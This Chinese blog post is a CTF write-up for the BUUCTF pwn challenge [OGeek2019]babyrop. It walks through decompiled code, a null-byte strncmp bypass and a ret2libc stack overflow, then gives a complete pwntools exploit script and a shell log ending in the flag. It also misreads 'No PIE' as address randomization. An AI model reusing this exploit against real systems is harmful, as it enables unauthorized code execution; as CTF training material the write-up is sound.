【pwn做题记录】01.[OGeek2019]babyrop 1

例题:buu的[OGeek2019]babyrop 1

首先检查一下文件

C:\Users\A\Downloads>checksec pwn
[*] 'C:\\Users\\A\\Downloads\\pwn'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)

上面每一条的意思依次是:

  • 32位程序,小端序
  • GOT表只读
  • 没有栈保护
  • 栈不可执行
  • 地址随机化

根据没有栈保护栈不可执行地址随机化题目给的libc。可以尝试用libc和ROP的知识来获取flag。

用IDA打开文件,查看main函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

(1)观察栈溢出漏洞,有个read,但buf大小为0x14,read只读0x4,因此没有栈溢出。
(2)查看变量关系,根据在栈上的位置,可以看出v2 = buf[7]

接下来先看第一个函数sub_80486BB()

int sub_80486BB()
{
  alarm(0x3Cu);
  signal(14, handler);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}

alarm:设置一个时钟,用于定时的
signal:超时后执行对应的函数
setvbuf:修改缓冲区的类型,大小和位置的

void __cdecl __noreturn handler(int a1)
{
  puts("Time's up");
  exit(1);
}

可以看出函数sub_80486BB()是做一些超时后的操作和缓冲区方面的修改,对获取flag无影响。

接下来看一下第二个函数sub_804871F(buf)

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

memset:修改变量的值,这里类似a = 0。
sprintf:将格式化字符串存储在变量中。类似a = "{%d}".format(al)。
strlen:计算字符串长度,以\0为结束标志。
strncmp:比较两个字符串,v1是比较长度,两个字符串相同的时候返回0。

(1)看一下read函数,发现都没有栈溢出漏洞
(2)先缕清一下这里的变量,buf是我们输入的字符串,v6是读取buf的字节数(包括结束符\00),v1是buf的字符串长度,s可以看作一个随机数(因为传进来的al是从文件/dev/urandom中读取的4个字符,不知道是啥)
(3)因此可以判断出,buf和s的值几乎不可能相同,即strncmp的返回不为0,那么就会执行exit(0)终止程序。这里有个方法就是使v1的值为0,那strncmp就只检查第0个字符,即不检查,就可以绕过这个if条件,利用strlen的特性,可以让buf的第一个字符为\0
(4)由于这个函数的返回值会作为下一个函数的参数,所以看一下v5,v5是一个unsigned int类型的。看一下和buf的关系,可以看出v5 = buf[7](buf长度为7,本来buf最后一个元素为buf[6],但由于下一个字节就可以覆盖v5的值,所以这里简单写为buf[7]),这里有一个buf[v6-1]操作,看一下会不会被修改。假设buf = "01234567",则v6 = 8 + 1(记得加上\0结束符),那么buf[v6 - 1] = buf[8],所以不会影响到v5的值,即返回值没有被改动。

接下来来看第三个函数sub_80487D0(v2)

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

(1)观察有没有栈溢出漏洞,可以看到read(0, &buf, a1),因此我们可以控制al的值,来实现栈溢出。
(2)这里的buf到ebp的距离为0xE7,加上ebp的4字节,即差不多需要240左右个字节才能发生栈溢出,因此需要让al的ascii值尽可能的大。
(3)由于传进来的v2是一个unsigned int类型,正常输入字符最多为128,因此,这里的绕过方法是使用转义字符,即让v2 = "\xff",这样的ascii码就为255了。

思路总结
这里因为没有system函数,并且提供了libc文件,所以利用libc泄露的思想做。
分析完整个程序,我们的攻击思路为:
1.绕过strncmp函数:输入的buf的值为\0
2.绕过al==127和提供栈溢出条件:使buf[7] = "\xff"
3.获取write的地址(这里用用回溯的方式,即得到write地址后返回到main函数):payload = b"垃圾数据" + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
4.利用write的地址计算偏移量和libc,从而得到system,str_bin_sh的地址
5.标准的栈溢出漏洞利用:payload = b"垃圾数据" + p32(system) + p32(0) + p32(bin_sh)

攻击脚本

#!/bin/python
from pwn import *

elf = ELF("./pwn")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x8048825 # 可以用IDA查看

libc = ELF("./libc-2.23.so")

io = remote("node5.buuoj.cn",28094)

payload = b"\0" + b"\xff" * 7
io.sendline(payload)
print(io.recvuntil("Correct\n"))

# p32(1)是write的第一个参数,表示标准输出,即要让write打印write的地址
# p32(4)是write的第三个参数,用于限制读取的字节,因为32位的寄存器大小为4字节,所以4字节足够放一个32位的地址了
# p32(main)是返回到main函数,在获取write地址后开始利用栈溢出漏洞
payload = b"a" * (0xe7 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write = hex(u32(io.recv(4))) # 获取write的地址,u32是将字节型转换为字符型。与p32相反
print(write)

write = int(write,16) # 将write地址转换为数字,方便计算
libc_base = write - libc.symbols["write"] # 计算偏移量
system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

payload = b"\0" + b"\xff" * 7
io.sendline(payload)
print(io.recvuntil("Correct\n"))

payload = b"a" * (0xe7 + 4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

这样就可以获取到flag了

[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{222c8c86-fb81-4538-aa79-49bb60616f16}
$ 
[*] Closed connection to node5.buuoj.cn port 26075
posted @ 2025-06-13 18:17  星冥鸢  阅读(32)  评论(0)    收藏  举报